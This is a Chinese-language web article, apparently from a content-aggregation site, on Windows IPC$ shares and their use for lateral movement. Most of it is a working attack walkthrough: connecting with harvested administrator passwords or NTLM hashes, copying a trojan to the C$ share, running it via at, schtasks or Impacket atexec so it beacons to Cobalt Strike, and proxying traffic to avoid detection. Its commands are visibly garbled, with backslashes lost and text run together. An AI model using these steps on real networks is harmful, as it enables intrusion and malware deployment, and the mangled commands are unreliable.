首页>>科技 >>内容

什么是IPC,IPC的利用条件有哪些

发布时间:2023-07-21 10:58:25编辑:温柔的背包来源:

很多朋友对什么是IPC,IPC的利用条件有哪些不是很了解,每日小编刚好整理了这方面的知识,今天就来带大家一探究竟。

什么是IPC,IPC的利用条件有哪些

什么是IPC?

IPC(共享命名管道资源)实际上是为了进程间通信而开放的命名管道;它是为进程间通信而打开的命名管道。通过提供可信的用户名和密码,双方可以建立安全通道,并通过该通道交换加密数据,从而实现对远程计算机的访问。

IPC使用条件

1.获取用户名和密码

2、开放13:9、445端口

IPC可以实现远程登录和访问默认共享资源,139端口的开放标志着NetBIOS协议的应用。可通过端口13:9、445 访问共享文件/打印机。

3.管理员已开启默认共享

默认启用默认共享,方便管理员远程管理,包括所有逻辑磁盘(c$、d$、e$)等,以及系统目录winnt或windows(admin$)。可以通过IPC来实现对这些默认共享目录的访问。

内网IPC的使用方法

工控机基本命令

1.查看IPC连接并删除IPC连接

netuse#查看IPC连接netuse\serveripc$/del#删除IPC连接

2. 建立到目标主机的IPC链路

netuse\serveripipc$'密码'/user:username#工作组netuse\serveripipc$'密码'/user:domainusername#域主机

3.查看文件列表

目录\serveripc$

4.下载并复制文件

在下载文件中我们可以看到192.168.3.32的C盘下有一个IP.txt文件。这里我们使用下载文件命令将其下载到我们的桌面。

copy\serveripc$1.ext1.exe#下载文件和上传文件同样使用copy命令上传copy1.bat\serveripc$#上传文件

5.查看文件内容

如果想查看目标C盘下的ip.txt文件,可以使用type命令

输入\192.168.3.32c$ip.txt

定时任务执行命令

实战中,我们建立IPC连接后,可以上传木马文件,然后利用定时任务上线。目前Windows有两个计划任务命令。 at命令用于小于Windows 2012的系统,schtasks命令用于大于或等于Windows server 2012的系统。at命令已被废弃。如下图所示,假设我们已经获得了Web Server的主机权限,并成功与内网的两台主机建立了IPC连接,那么当我们要与这两台主机上网时,由于刚才提到的windows版本,我们需要考虑是否使用at或schtasks来计划运行木马的问题。

首先,我们首先将木马上传到我们的网络服务器。由于内网主机不上线,所以我们需要生成前向连接的木马或者通过Web服务器在线传输的木马。这里使用的是在线传输时生成的木马。建立IPC连接后,将木马上传到目标机器,然后使用AT创建定时任务在线执行

netuse\192.168.3.21ipc$'Admin12345'/user:administrator copy4444.exe\192.168.3.21c$ dir\192.168.3.21c$这里可以看到4444.exe已经被我们成功上传到目标机器了,这里我们先查看目标系统时间,然后使用at来设置定时任务来执行我们的Trop jan file nettime\192.168.3.21#查看目标系统时间at192.168.3.2116:40C:4444.exe#使用at计划任务执行C盘下的4444.exe 这里可以使用at命令查看当前计划任务情况并删除计划任务,具体命令如下at\192.168.3.211#查看计划任务with atid=1 at\19 2.168.3.211/delete#删除atid=1的定时任务19:10分钟后,可以看到木马已经通过at定时任务成功执行,并已在我们的CS中启动

计划任务

at命令在windows server 2012及之后的操作系统中已经被废弃,改用schtasks命令。 schtasks命令比at命令更加灵活,但是当使用schtasks命令时,系统中会留下一个日志文件:C:Windows|Tasksxx.txt。这里我们不会详细解释schtasks的具体命令,只解释我们在横向移动时使用的常用操作命令。和AT命令一样,我们首先与目标主机建立IPC连接,将木马上传到目标机器,然后使用schtasks命令执行木马程序

netuse\192.168.3.32'admin!@#45'/user:administrator copy4444.exe\192.168.3.32c$ dir\192.168.3.32c$木马上传成功后,接下来使用schtasks命令。 schtasks 命令与at 命令不同。可以直接指定运行的时间,但是比较麻烦,所以这里采用的是按需运行任务,任务创建后就让它直接运行nbeacon/i#运行信标服务这里可以使用schtasks命令查看当前定时任务的状态,并删除定时任务。具体命令如下schtasks/query |

Impacket-atexec

上面我们描述了在命令行下使用定时任务进行横向移动的效果,但是这种效果比较不方便。比如只适合明文密码进行连接,不支持hash,执行命令后无法获取回显等。这里我们可以使用Impacket-atexec工具。 impacket 是一个打包的工具包,包含各种协议和系统命令的工具。对于atschtasks,我们可以使用impacket中的atexec.exe,这使得远程连接和执行系统命令变得很容易。 impacket有两个版本,一种是exe可执行程序,另一种是python文件。该工具适用于Webshell和Socks代理,支持hash形式的连接。

atexec EXE版本

EXE版本的具体用法如下:先上传atexec.exe到目标机器,然后运行该文件

atexec.exe./administrator:Admin12345@192.168.3.21'whoami'#本地用户连接明文执行命令atexec.exegod/administrator:Admin12345@192.168.3.21'whoami'#域内用户连接明文执行命令可以看到使用atexec执行命令后直接返回结果,然后我们还可以使用hash连接atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21'whoami'#使用hash进行本地用户连接atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7 god/administrator@192 .168.3.21'whoami'#使用hash将域中的用户连接到此,并执行atexec链接和命令的命令。然后我们回忆一下刚才使用at和schtasks上网时的步骤:建立IPC连接、上传木马、设置任务执行……步骤比较繁琐,那么我们使用atexec时也可以上网,而且比较简单。首先,我们需要改变这里的想法。不是将木马上传到目标机器,而是让目标机器下载我们的木马程序。这里我们把木马放在Web服务器的WEB目录下,然后构造一个下载命令,让目标机器下载到自己的机器上,然后执行。 Web服务器的Web目录为C:inetpubwwwroot,这里我们直接上传木马。然后构造一个下载命令,看目标机是否能够下载成功4.exe' atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21'dir|findstr4444.exe' 可以看到4444.exe已经被它成功下载了,所以这里我们可以直接运行4444.exe atexec .exe-hashes:ccef2 08c6485269c20db2cad21734fe7./administrator@192.168.3.21'4444.exe' 这里也可以看到DC已成功上线。

atexec Python 版

以上是atexec.exe的使用,但由于需要在目标主机上上传exe,所以在实战中并不实用,而且可能会导致数据包丢失,也可能被检测查杀。因此,实战中建议使用python版本,但也有可能目标主机没有相关语言分析,所以最好的方式是使用socket代理调用atexec.py来利用其内部网络。主要操作如下:首先在CS上设置一个socket代理,然后使用proxifier添加代理和规则。设置好代理后,设置代理规则,将所有数据包通过我们的socket代理与目标主机192.168.3.0进行通信,这样我们就可以与内网的主机进行通信了。这时,代理设置好后,我们就可以直接在本机中使用atexec.py来水平移动它的内网了。具体命令如下:

pythonatexec.py.administrator:Admin12345@192.168.3.21'whoami'#本地建立IPC连接并执行命令pythonatexec.pygodadministrator:Admin12345@192.168.3.21'whoami'#域内主机建立IPC连接并执行命令。可以看到,通过socket代理,我们并没有上传atexec.exe文件,可以直接在本地使用其内网,这样可以很大程度上避免实战中上传大型exe程序,被杀或者上传失败的影响。 ashes:ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21'whoami'#本地用户使用hash连接IPC,所以这里,我们的在线CS步骤与上面atexec.exe在线步骤相同,这里不再演示。在内网渗透中,IPC是我们经常使用的方法之一。如果目标管理员禁止远程登录服务器,我们可以使用IPC来完成一些操作。 IPC横向移动时,建议使用atexec.py+socket代理在内网横向移动,比较安静,不易被发现。

审计刘庆

以上知识分享希望能够帮助到大家!